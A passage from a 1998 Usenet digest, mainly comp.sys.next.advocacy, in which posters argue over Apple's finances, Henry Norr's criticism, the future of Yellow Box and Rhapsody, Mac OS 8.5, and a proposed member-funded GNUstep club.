> high-level sources that tell him Mr. Norr's doomsaying opinions are
> incorrect and misleading.
Fine. This is what I have a problem with:
> Geez, why do you people listen to Henry Norr?
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 18:12:16 -0500
Organization: Ericsson North America Inc.
Message-ID: <35AD3750.2209A2A6@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <35abb26e.0@news.depaul.edu> <35ABB916.F3460C01@ericsson.com> <6oiq1p$5js$1@news.spacelab.net> <35ACF1FF.60CCFA4E@ericsson.com> <6oj92v$6d9$1@news.spacelab.net>
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Charles W. Swiger wrote:
> If Scott has more accurate information than Norr, why can't he disagree with
> Norr?
Noone said that disagreement was the problem, now, did they? This is the
problem:
> Geez, why do you people listen to Henry Norr?
Please, comment! I'd be thrilled to hear what you have to say on behalf
of such commentary. It looks so familiar, when I think of you.
[cut]
> >I know that, and I think it's great.
>
> If you knew that, why did you call Stepwise an advocacy website?
Huh? It is an advocacy Website.
[cut]
> I'm entirely willing to hold a polite discussion even with people who
> strongly disagree with me. On the other hand, it doesn't bother me at all to
> call you on this-- you are pretty close to slandering Scott Anguish.
Right, as long as you say it's a matter of disagreement, you can keep
posting, right?
> Geez, why do you people listen to Henry Norr?
> I have no responsibility for your remarks or your relationship to the NeXT
> newsgroups. Try taking a little responsibility for your own words, hmm?
That was a good way to avoid the issue. Suit yourself.
> And no, it isn't our first discussion. Like I said previously, you would
> have done much better to simply ask for help with your NeXT machine rather
> than adding all of the snide commentary and complaints.
You have ever seemed to be confused about this. Let me explain something
to you: when I am asking for help, you'll know it. And I have asked for
help before and received it. Just never from you.
When I am posting opinion, I am not asking for help, not yours, not
anyone else's. When I posted criticism of the NeXT machine and the NeXT
interface, they were not invitations to you for commentary on how
"incompetent" you supposed I was, but you gladly provided it.
> Even with your editorial remarks, you were given pretty of helpful advice,
What?
> but you decided to get offended by the characterization that you obviously
> weren't an experienced Unix sysadmin if you couldn't configure your own user
> account to su, to install basic CLI utilities like tcsh, or even read the
> documentation. See the thread around message-id
> <6bqljb$mk$25@anvil.BLaCKSMITH.com>....
Why should I argue Scott's behavior with you? You apparently applaud it,
and mimic it...
This is the right newsgroup for you, Chuck. Be well.
MJP
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 15 Jul 1998 21:49:09 GMT
Organization: I don't think so
Message-ID: <slrn6qq95a.h1.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <1dc6e9x.i3kt8jnbcj06N@ip70.albnxr1.ras.tele.dk> <slrn6qnl5q.18f.jason@jhste1.dyn.ml.org> <NOamradioSPAM-1507981719090001@207-172-130-114.s114.tnt3.col.erols.com>
Steve posted the following to comp.sys.mac.advocacy:
> >Actually, people can get protected memory for free as long as they have
> >a NuBus based PowerMac or better - and as long as it is not _too_ new.
> >Just downloadk MkLinux. UNIX has always had protected memory. And lots
> >of freeware [and payware] programs exist for UNIX.
> >MkLinux even has a graphical user interface with a three button mouse:
> >XWindows.
> Those with 68K Macs can run NetBSD. Those with PCI PowerMacs _should_
> run Linux/PowerPC, not Mklinux, though.
>There is a 68k version of Linux in the works. <http://maclinux.wwaves.com/>
Yeah, but NetBSD is far more mature on Mac68k hardware.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Wed, 15 Jul 1998 16:23:50 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1507981623500001@dante.eng.uci.edu>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com>
In article <6oj739$aqu$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>The good news is that apple made 100mil, 203 mil on the year so far; as
>compared to loosing about 6 times as much last year. The bad news is that
>apple made about 200million less in revenue this quarter as compared to last
>year. All three profitable quarters were marked by reduced revenues.
>
>I guess there are two ways to look at this. One, it's a dying ship; nuff
>said. Two, since hardware prices in general have radically declined since
>last year, that explains the revenue drop. However, I believe other hardware
>makers have dropped prices more and revenues are up.
Not necessarily. Compaq revenues are down over last quarter. The thinking
is that if not for Digital, they would have been down a *lot* over last
quarter. I think the only one really holding strong is Dell, only because
their volume growth is still quite high and they've avoided the low-end
crap.
Apple *appears* to have done two things:
1) made investments in increasing production capacity this quarter at the
expense of revenues and earnings. They warned us not to look for revenue
growth this quarter, and they probably knew they had profits in the bag
early on, with ARM providing a cushion.
2) increased margins further allowing them to be more price competitive at
the low end without totally spiking gross margins.
>Which leads me to
>believe that apple hasn't dropped prices enough, and therefor is not
>benefiting propotionally on the increase in volume that ought to come with a
>proportional price drop.
No, they haven't dropped them enough. But what they *really* can't afford
to do is drop the G3s to a point that the iMac loses it's momentum. Now is
a time to artificially inflate the G3 prices if only to feed the iMac hype
machine. iMac essentially *is* the price drop we seek. Furthermore, Apple
may not be able to able to increase production of G3 systems due to issues
with Powerbooks and preparation for iMac, so price drops would have little
effect at moving more units, it would only result in backorders.
Apple must be anticipating some drop-off in G3 demand *or* some problems
with delivering Pro or speed bumped systems before the quarter is out.
They've built up a big backorder of Powerbooks and demand for iMac but are
suggesting only moderate growth next quarter which leads me to belive that
G3 sales will be weak, for whatever reason.
I'm getting a sense that Steve is applying Pixar-learned solutions to
Apple, where production costs and bottlenecks of future films need to be
offset by releases of current films. So he needs to make sure that there
is sufficient demand for iMac and Powerbooks to offset manufacturing
delays and limited sales in new G3 systems. Getting the sales in the right
quarter is important for Apple now.
>Overall, seems like good news though.
Agreed. Inventory is down. There isn't much product in the channel, little
sitting on shelves. Strong demand next quarter. Online store doing better
and better.
They just need to get unit shipments and revenues up. Some concern with
iMac still being impacted through October, though. Don't look for a price
drop on iMac _this_ year, I think.
-Bob Cassidy
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 22:37:09 GMT
Organization: I don't think so
Message-ID: <slrn6qqc4j.kb.jason@jhste1.dyn.ml.org>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net> <6oglng$ft8$1@news.digifix.com> <6oie2v$h7g$3@server.signat.org> <6oj2ge$b61$1@news.digifix.com> <6oj8oq$3jr$1@server.signat.org>
Maury Markowitz posted the following to comp.sys.mac.advocacy:
>> Uh, not really. The Unisys issue is LZW, which is present
>> both in the proposed .gif support (although QT support will encompass
>> that in the Mac OS X timeframe) and in the tiff support.
>> Neither of these have anything to do with PDF though.
> I thought there was some sort of blanket rider on the LZW use in PDF
>though. No?
Off the top of my head, I would think that the patent would be implicated
by the implementation, not by the format (cf.: the IJG libjpeg.a code
eschews LZW compression for its GIF conversion - leaving the user with
uncompressed GIFs). Think of it this way: if PDF was exempt from the
patents, anyone could write a commercial distiller/reader without paying
a penny for patent royalties for LZW.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 15 Jul 1998 23:08:56 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6ojcq8$dl7$1@samsara0.mindspring.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com>
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In article <6oj739$aqu$1@lwnws01.ne.highway1.com> John Kheit,
jkheit@mediaone.net writes:
>The good news is that apple made 100mil, 203 mil on the year so far; as
>compared to loosing about 6 times as much last year. The bad news is that
>apple made about 200million less in revenue this quarter as compared to last
>year. All three profitable quarters were marked by reduced revenues.
>
>I guess there are two ways to look at this. One, it's a dying ship; nuff
>said. Two, since hardware prices in general have radically declined since
>last year, that explains the revenue drop. However, I believe other hardware
>makers have dropped prices more and revenues are up. Which leads me to
>believe that apple hasn't dropped prices enough, and therefor is not
>benefiting propotionally on the increase in volume that ought to come with a
>proportional price drop.
>
>Overall, seems like good news though.
PB G3s didn't ship in any quantity until Q4 started.
Imac will sell very well
I expect an increase in revs for Q4, with earnings also increasing.
Which is what Anderson said to expect back in January.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 22:52:30 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6ojbre$sla$1@samsara0.mindspring.com>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6oja4d$dmd$1@vixen.cso.uiuc.edu> <6oj8oq$3jr$1@server.signat.org>
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In article <6oie1m$h7g$2@server.signat.org> Maury Markowitz,
maury@remove_this.istar.ca writes:
> I got into a flame war with him on CIS about 3 years ago when he was going
>around telling people that the Pentium was faster than the PPC. It sounded
>exactly like the raging debates over benchmarks we see here. Luckily we are
>now on email-speaking terms again, but as you note above, his opinions may
>differ wildly from reality.
Of course the Pentium is faster. After all, Office 4.2.1b for Mac was
WAY slower than on a Pentium.
lol,
Matthew Cromer
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Wed, 15 Jul 1998 22:25:07 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6oja7v$6ta$1@nnrp1.dejanews.com>
References: <35AA8501.CF6AAF27@nospam.com> <6oi4b9$gtr@btmpjg.god.bel.alcatel.be> <6oi5rc$37k$2@leonie.object-factory.com> <6oi9n8$5b8@nntp02.primenet.com> <6oib8s$bf4$1@camel15.mindspring.com>
> Where do I show an attitude problem?
You don't Matthew. I wasn't trying to say that you have an attitude problem.
I was trying to say that NeXT had the same attitude that you do and that, for
them, it was a problem. NeXT was, presumably, trying to encourage developers
to use OpenStep and they were less effective because they spent more time
deriding developers who used other solutions than jumping up and down
demonstrating how their solution was better.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 15 Jul 1998 23:54:53 GMT
Organization: University of California at San Diego
Message-ID: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <359A90F9.A546707D@alum.mit.edu> <6o5hrd$jd4$1@camel0.mindspring.com> <6o5i34$khq$1@camel0.mindspring.com> <6o5m9a$smv$1@nnrp1.dejanews.com> <6o5shq$p47$1@camel0.mindspring.com> <35A67AFE.87BA2FA2@ericsson.com>
On Fri, 10 Jul 1998 15:35:10 -0500, Michael Peck wrote:
:
:No, and it probably doesn't cross his mind, either, that the SEC is
:hardly protection against stock failures. But for the majority of the
:population these kinds of regulatory measure create a false sense of
:security, making people think that it's OK to suspend all precautionary
:measures and act like sheep or cows or pigs (or whatever livestock you
:prefer to liken yourself after). The result is a dangerously unsafe
:populace at the mercy of the government to whatever extents the
:government has usurped personal responsibility.
I am an average investor. How on earth can I use my "responsibility" instead
of the SEC to force companies to accurately report their finances?
People get fleeced frequently already now. It would be massively worse
without an SEC.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 15 Jul 1998 20:34:31 -0400
Organization: Pear Computer Ltd.
Message-ID: <35AD4A97.B2BEBB20@cloud9.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <6og4n2$bpf$2@leonie.object-factory.com> <6ogao2$cuc$2@lwnws01.ne.highway1.com>
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If you look at SGI's and one of the Sun Ultra 10,000's they are purple.
The Ultra E 10000 looks big and evil like something you'd find on the
Emperor's Super Star Destroyer.... but I'll give you this one... if I
could have one, I'd have one in a flash... It's fun to pretend.
John Kheit wrote:
>
> holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
> > Pulsar wrote:
> > > Then there's the fact that John doesn't seem to like purple. ;)
> >
> > He's not alone. Purple is a very hostile color, and whoever came up with
> > the very idea should be hung down the pirate flagpole, head down.
>
> Actually, there are color studies that say that purple is the most polorizing
> color. Either people hate it, or love it (this is for clothes, I don't know
> how well it translates to UIs). People are rarely indifferent to it. Quite
> honestly I wouldn't mind. There are probably tasteful ways to use it, or
> almos any color for that matter; it's just that apple has successfully
> managed to not find such uses.
>
> --
> Thanks, be well, take care, later, John Kheit; self expressed...
> ______________________________________________________________________
> UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
> mailto:jkheit@mediaone.net
> http://people.ne.mediaone.net/jkheit
> You're dangerous because you're honest...
From: rlove@antispam.neosoft.com (Robert B. Love )
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ode to Yellow Box
Date: 16 Jul 1998 00:24:52 GMT
Organization: NeoSoft, Inc.
Message-ID: <6ojh8k$368$1@uuneo.neosoft.com>
References: <35AC888A.442D4C86@alum.mit.edu>
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Cc: eric@alum.mit.edu
In <35AC888A.442D4C86@alum.mit.edu> Eric Hermanson wrote:
>
> Yellow Box, Yellow Box, why're you so elusive?
> Many of the developers don't think that's conducive.
> Some think you're canned, others think you're dead,
> Others think you're as played-out as Right-Said-Fred.
> But I have faith in ye, old Yeller, old Boy,
> I know you're not just another Bill Gates sex-toy.
> So please prove to the World that you're in for the duration,
> And give us something to do besides negative contemplation.
>
> - Anonymous
I seem to remember Dr. Ernie writing several little ditties to
celebrate things NeXTian. I wonder if he still does in his current
job?
----------------------------------------------------------------
Bob Love MIME & NeXT Mail OK
rlove@neosoft.com
----------------------------------------------------------------
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 15 Jul 1998 20:43:13 -0400
Organization: Pear Computer Ltd.
Message-ID: <35AD4CA1.E5D02242@cloud9.net>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <m%_q1.191$E5.1672335@proxye1.san.rr.com> <joe.ragosta-1507980648180001@elk60.dol.net> <6oiha2$rkm$1@lwnws01.ne.highway1.com>
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John, I used to read your web pages and articles, and I thought they
were great...Pardon me for asking, but WHAT EXACTLY DO YOU LIKE? Just
NeXT's UI? You seem to insult everything from Win 3.1-->, MacOS, OS/2,
UNIX/X...and I think even NeXT's own UI.
Andrew
John Kheit wrote:
>
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > It wouldn't be much of a debate.
> >
> > Which OS has the highest productivity?
> > Which OS has the best ease of use?
> > Which OS has the lowest TCO?
>
> In a comparison to what? Windows (3.1)? Some X windows shlock. Well now,
> that's nothing to really be proud is it?
>
> > The answer to all of these is "Mac OS". That's working well in my book.
>
> Nothing personal, but based on your track record of self admitted biased one
> way advocacy, that is not exactly saying much.
>
> --
> Thanks, be well, take care, later, John Kheit; self expressed...
> ______________________________________________________________________
> UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
> mailto:jkheit@mediaone.net
> http://people.ne.mediaone.net/jkheit
> You're dangerous because you're honest...
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 15 Jul 1998 17:48:58 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1507981748580001@5-45.phx.psn.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net> <6ojb7i$90f$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 16 Jul 1998 00:47:09 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <6ojb7i$90f$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> But there is no way that Apple can claim that MacOS 8 is their next generation
> operating system. It isn't even as revolutionary as the change from System 6 +
> multifinder -> System 7.
You haven't seen an 8.5 beta or read the articles about it on MacNN
Reality, then. 8.5 is a totally next generation operating system, a
wuantum leapy beyond even 8.1. It will keep us very happy while we are
waiting for Mac OS X, trust me.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 15 Jul 1998 17:29:39 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1507981729390001@sdn-ar-001casbarp262.dialsprint.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <6og79u$pg8$1@vixen.cso.uiuc.edu> <35ABA71F.64A649B5@ericsson.com> <joe.ragosta-1407981638020001@wil37.dol.net> <35ABD8E4.7E40F57F@ericsson.com> <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net>
In article <gmgraves-1507981200570001@sf-usr1-30-158.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Yes, absolutely. Knowing that a company which builds a good product
> is screwed-up and telling the world about it is NOT exactly the same
> thing as bashing the product that said screwed-up company builds.
>
> Knorr wants the Mac to stay around. He is, however, very critical of
> Apple. And justifiably so.
> George Graves
Better watch it George, Edwin is about to call
you a wintel troll ;)
--
So many pedestrians, so little time.
From: jking@nospam-donelonking.com (Joseph King)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Thu, 16 Jul 1998 00:46:38 GMT
Organization: Donelon, King and Associates
Message-ID: <35ad4d6b.21113230@news.v-wave.com>
References: <35AA8501.CF6AAF27@nospam.com> <35AC0107.29F81818@alum.mit.edu> <6ogvfj$opt$2@lwnws01.ne.highway1.com> <us51zrn3j22.fsf@ai.mit.edu> <6oh8n7$4vu$1@camel21.mindspring.com> <6oi465$5q5$1@nnrp1.dejanews.com>
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>> Sounds like you have a wonderful life ahead of you coding Visual C++ on
>> NT. Have fun!
>>
>> Don't let the door slap you in the butt on the way out.
>
>The reason that 80+% of the development market is dominated by Visual C++ is
>because NeXT had the same attitude that you do.
The reason Visual C++ dominates the market is because Windows
programming is hard, tedious, and ugly without MFC. Go try and make an
OLE control without MFC.
j.
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOSX == Rhapsody
Date: Wed, 15 Jul 1998 21:07:08 -0400
Organization: Pear Computer Ltd.
Message-ID: <35AD523C.14E2813E@cloud9.net>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
<6o5ph5$s4k$1@cronkite.cygnus.com> <SCOTT.98Jul13153549@slave.doubleu.com>
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Better yet, Why not just band all the Apple Enterprise users together
(those who feel positive towards Rhapsody/Intel), and all the NeXT users
and OpenSTEP corporations, and pressure Apple... I know pressure is
being applied, but how about suing for lack of an upgrade path, and the
penalty is legal-fees, and an upgrade path... I don't know if this would
work, but lots of people sue companies for not making old legacy apps
Y2k even though there is a new version that is Y2k because of the
integration of the older version.
Worst case: ?
Best case:
1. Apple loses, pays court fees (minimal) and finally listens to its
other population of users.
2. Apple settles and makes the changes.
A complete uproar on USENET is ensuing and it is amazing that Apple
hasn't released one iota of affirmation that it is even listening. And
I thought MicroS*t was famous for doing exactly the opposite of what
people need.
spammers@ruin.the.internet.channelu.com wrote:
>
> In <SCOTT.98Jul14141739@slave.doubleu.com> Scott Hess wrote:
> > In article <SCOTT.98Jul13153549@slave.doubleu.com>,
> > scott@doubleu.com (Scott Hess) writes:
> > In article <6o5ph5$s4k$1@cronkite.cygnus.com>,
> > jrudd@cygnus.com (John Rudd) writes:
> > The Cygnus founders saw an opportunity in the late 80's to make
> > money by customizing and supporting GCC. I'm curious if
> perhaps
> > this is a similar opportunity. The Enterprise customers we're
> > talking about here are entities that already see value in
> > Openstep. Do they see enough value to jointly fund a
> > Cyngus-like company that would focus on Gnustep? It _may_
> leave
> > the in a situation to live on YB until their new company could
> > finish Gnustep, and then switch to Gnustep as soon as possible.
> >
> > Assuming that Rhapsody/Intel really _does_ go away (I'll believe
> it
> > after I see it), I'll be looking for somewhere to jump ship to.
> > Count me in :-).
> >
> > Actually, I was just wondering....
> >
> > The NeXT faithful are pretty faithful, some of them. I wonder how
> > much money you could bring in if you set up a "NeXT Club", and
> charged
> > $100/year for membership. Dues would pay to employ psuedo-volunteers
> > to code on GnuStep+Linux. [I say "psuedo-volunteers" because I'm
> > assuming a low pay scale, relative to industry.] Membership would
> get
> > you, say, access to source code, or perhaps access to new releases
> > earlier than the regular joe.
> >
> > Better yet, force the coders and packagers to write monthly articles,
> > and put out a newsletter so that subscription costs are deductable.
> > Perhaps that would result in improved documentation in the bargain.
> >
> > It almost seems like a good idea. I'm sure there are completely
> valid
> > reasons why it wouldn't work in practice,
>
> Kind of an interesting idea I think. Though I think the articles would
> be a bit much. I think better would be to take the money generated
> by the club and offer prizes to the people who implement a particular
> features. The best way to work it would be to let the people working
> on the GNUstep/Linux project nominate individuals who they think
> should get the prize money for a particular category - then we the
> NeXTclub members would vote on the feature that gets top prize,
> second etc.
>
> We could also hold votes at the same time letting people know
> what we might like to see in the next 6 months.. There would
> be no guarantee that after 6 months we'd still vote the same way..
> But it would tell people where to effectively work - to better
> their chances of winning some prize money..
>
> The idea being that people are already working on the project.
> That the people working on the project - know best who did a
> lot of work - and who should receive the prize money in a
> particular category (or project). Then we get to decide which
> projects really were important to us - and which should get
> the prize money this time around..
>
> As to articles I would simply offer a prize catagory for the
> best web article in the 6 month period on GNUstep/Linux.
>
> BTW: The $100/year memebership gets you what from the club
> other than the ability to vote - a newsletter is a bit much I think.
> What's wrong with web pages. Since what I'm proposing would
> be somewhat different.
>
> I would say that it might be best to make a tier donation system
>
> Contributor $1-10
> Donator $10-25
> Member $25-100
> Individual
> Sponsor $100 and up
> Company
> Sponsor $250 & up
>
> Tack on a $1 membership fee to go to the organizer for
> Contributor & Donators, $5 for Member, $10 for Individual Sponsor,
> and $25 for Company Sponsor - to deal with expenses - etc.
>
> Also if your doing this right - I think the number of votes a person
> gets to cast should be equal to the number of $ they've contributed
> on top of their membership fee.
>
> Actually rather than awarding prizes in this way you just total
> the votes ($1) and award the money to the categories/individuals..
> Effectively the GNUstep folks get to control the categories and who
> gets on the list we would control how much an individual gets - there
> also could be a category where you don't have to choose a person
> you can just vote for whomever won the most nominations - or
> to split the money according to the nomination vote. A pain to
> account for - but this is what we have computers for.. This way
> we can vote directly with our $$, either for categories/projects,
> or an individual contributor to a project, etc.
>
> Even with $1 you can participate - I think that could work
> as $100 is too much to ask of many folks. Let people support the
> endeavor to the level they desire. Surely Sponsors would pop out of
> the network.. I would say that Individual and Company Sponsors
> should get some public credit on the GNUstep/Linux web pages
> somewhere (or the Club Web Pages), etc.
>
> I wouldn't necessarily call it the NeXT Club. I'd call it
> the GNUstep Club - The NeXT Chapter. That way other folks
> who are interested can form their own Chapters..
>
> Hell if people were really interested in this I may be
> interested in hosting a the web pages - someone else
> surely could do it also. I think I could deal with collecting
> and distributing the money - along with creating a e-mail
> voting system that would be relatively secure. The GNUstep
> folks would have to set up a similiar system to do their
> nomination voting. Category creation would have to
> cooperative - but of course under the guideance of
> the GNUstep folks..
>
> Kind of a cool idea - we'd have to talk to the GNUstep
> folks about it and see what their reactions were.
>
> Randy
> rencsok at
> channelu dot com
> argus dot cem dot msu dot edu
>
> spammers works also :)
>
> Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
>
> Turbo Software Consulting, Programming, etc.)
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Wed, 15 Jul 1998 20:08:27 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6ojjsr$hp25@odie.mcleod.net>
References: <35AA8501.CF6AAF27@nospam.com> <6oi4b9$gtr@btmpjg.god.bel.alcatel.be> <6oi5rc$37k$2@leonie.object-factory.com> <6oi9n8$5b8@nntp02.primenet.com> <6oib8s$bf4$1@camel15.mindspring.com>
Matthew Cromer wrote in message <6oib8s$bf4$1@camel15.mindspring.com>...
>What attitude?
>
>Michelle comes in here, ranting and raving about Apple, declaring YB
>dead, and basically calling Scott and Gregory and the other YB developers
>idiots for writing YB code. She proceeds to call Apple dead in the
>enterprise. Last time I checked, Apple was adding a lot of high-profile
>WebObjects customers. Apple is also getting a lot of attention from Wall
>Street, positive attention, for the first time in a long time. And
>Michelle is certainly doing nobody who works this market any favors at
>all telling them they are idiots, telling us she is urging her clients to
>drop YB technologies as quickly as possible, and in other ways basically
>dumping on the future of YB.
>
>I tell her, go use something else, have fun, sayonara.
>
>Where do I show an attitude problem?
>
>Matthew Cromer
Some people edited my reply to an earlier posting to look like I called
someone an idiot. Actually, that someone asked if they would be an idiot to
start YellowBox development now and I replied that Yes, you would be an
idiot.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 16 Jul 1998 02:34:17 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ojor9$77h$1@news.spacelab.net>
